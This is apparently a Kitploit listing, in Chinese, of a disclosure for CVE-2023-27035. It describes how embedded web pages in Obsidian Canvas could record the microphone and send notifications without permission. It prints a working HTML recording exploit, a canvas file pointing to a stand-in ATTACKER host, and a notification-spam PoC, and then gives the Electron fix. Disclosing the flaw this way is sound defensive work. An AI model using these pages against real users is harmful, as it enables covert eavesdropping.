Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-27035 — 概念验证漏洞利用,通过Obsidian Canvas中的嵌入式网页演示了未经授权的麦克风录音和桌面通知滥用,突显了缺少Electron权限请求处理的问题。 | Kitploit
工具/GitHubGitHub/fivex3/cve-2023-27035
漏洞分析漏洞利用Web应用程序漏洞利用隐私保护学习与教育
GitHubfivex3/cve-2023-27035

CVE-2023-27035

概念验证漏洞利用,通过Obsidian Canvas中的嵌入式网页演示了未经授权的麦克风录音和桌面通知滥用,突显了缺少Electron权限请求处理的问题。

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

漏洞类型:

不正确的访问控制

描述:

Obsidian Canvas 1.1.9 中发现的一个问题允许远程攻击者通过画布页面上的嵌入网站发送桌面通知、录制用户音频以及其他未明确说明的影响。

影响:

恶意嵌入网站可以在未经用户许可和不知情的情况下访问 Obsidian 应用程序中的敏感 Web API。例如,它们可以在用户不知情或未明确授予权限的情况下,静默录制用户的麦克风或代表 Obsidian 应用程序发送桌面通知。

此问题的根本原因在于应用程序缺少会话权限请求处理程序。

受影响产品:

  • Obsidian(Canvas 功能)

受影响版本:

  • 1.1.9 < 1.1.14

复现步骤:

  1. 创建并托管包含以下内容的 HTML 文件(该页面将录制 5 秒的麦克风音频,然后播放)。
root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>确保你的麦克风未静音。</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
  1. 创建一个空白画布,点击“添加网页”,插入指向 poc1.html 的链接,或者创建以下 .canvas 文件(url 参数指向我们服务器上的页面):
root@kitploit:~
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}
  1. 在 Obsidian 中打开画布文件。录制将立即开始,5 秒后播放录音。

通知 PoC:

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: '通知示例。'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

缓解措施:

实现 Electron 会话权限请求处理程序,以处理来自嵌入页面的权限请求。对 Web API 的访问必须由用户明确授予,或者默认拒绝。

参考资料:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
  • https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
  • https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
  • https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler
下载工具